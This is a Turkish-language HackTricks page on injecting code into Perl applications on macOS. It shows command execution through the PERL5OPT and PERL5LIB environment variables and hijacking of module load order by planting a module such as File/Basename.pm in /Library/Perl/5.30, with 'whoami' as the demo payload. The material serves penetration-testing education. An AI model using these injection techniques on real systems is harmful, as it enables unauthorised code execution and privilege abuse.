3.4 KiB
macOS Perl Uygulamaları Enjeksiyonu
{% hint style="success" %}
AWS Hacking'i öğrenin ve uygulayın: HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)
GCP Hacking'i öğrenin ve uygulayın: HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)
HackTricks'i Destekleyin
- Abonelik planlarını kontrol edin!
- 💬 Discord grubuna katılın veya telegram grubuna katılın veya bizi Twitter 🐦 @hacktricks_live** takip edin.**
- HackTricks ve HackTricks Cloud github depolarına PR göndererek hackleme püf noktalarını paylaşın.
PERL5OPT
ve PERL5LIB
Çevresel Değişkeni Aracılığıyla
Çevresel değişken PERL5OPT kullanılarak perl'in keyfi komutları çalıştırması mümkündür.
Örneğin, bu betiği oluşturun:
{% code title="test.pl" %}
#!/usr/bin/perl
print "Hello from the Perl script!\n";
{% endcode %}
Şimdi çevre değişkenini ihraç et ve perl betiğini çalıştır:
export PERL5OPT='-Mwarnings;system("whoami")'
perl test.pl # This will execute "whoami"
Başka bir seçenek, bir Perl modülü oluşturmaktır (ör. /tmp/pmod.pm
):
{% code title="/tmp/pmod.pm" %}
#!/usr/bin/perl
package pmod;
system('whoami');
1; # Modules must return a true value
{% endcode %}
Ve ardından çevresel değişkenleri kullanın:
PERL5LIB=/tmp/ PERL5OPT=-Mpmod
Bağımlılıklar Aracılığıyla
Perl'in çalıştırıldığı bağımlılıkların klasör sırasını listelemek mümkündür:
perl -e 'print join("\n", @INC)'
Hangi şu şekilde bir şey döndürecek:
/Library/Perl/5.30/darwin-thread-multi-2level
/Library/Perl/5.30
/Network/Library/Perl/5.30/darwin-thread-multi-2level
/Network/Library/Perl/5.30
/Library/Perl/Updates/5.30.3
/System/Library/Perl/5.30/darwin-thread-multi-2level
/System/Library/Perl/5.30
/System/Library/Perl/Extras/5.30/darwin-thread-multi-2level
/System/Library/Perl/Extras/5.30
Bazı dönen klasörler bile mevcut değil, ancak /Library/Perl/5.30
mevcut, SIP tarafından korunmuyor ve SIP tarafından korunan klasörlerden önce bulunuyor. Bu nedenle, birisi o klasörü kötüye kullanarak betik bağımlılıklarını ekleyebilir ve yüksek ayrıcalıklı Perl betiği onu yükleyebilir.
{% hint style="warning" %} Ancak, o klasöre yazmak için kök kullanıcı olmanız gerektiğini unutmayın ve günümüzde bu TCC uyarısı alacaksınız: {% endhint %}
Örneğin, bir betik use File::Basename;
içe aktarıyorsa, /Library/Perl/5.30/File/Basename.pm
oluşturarak keyfi kodları çalıştırmasını sağlamak mümkün olacaktır.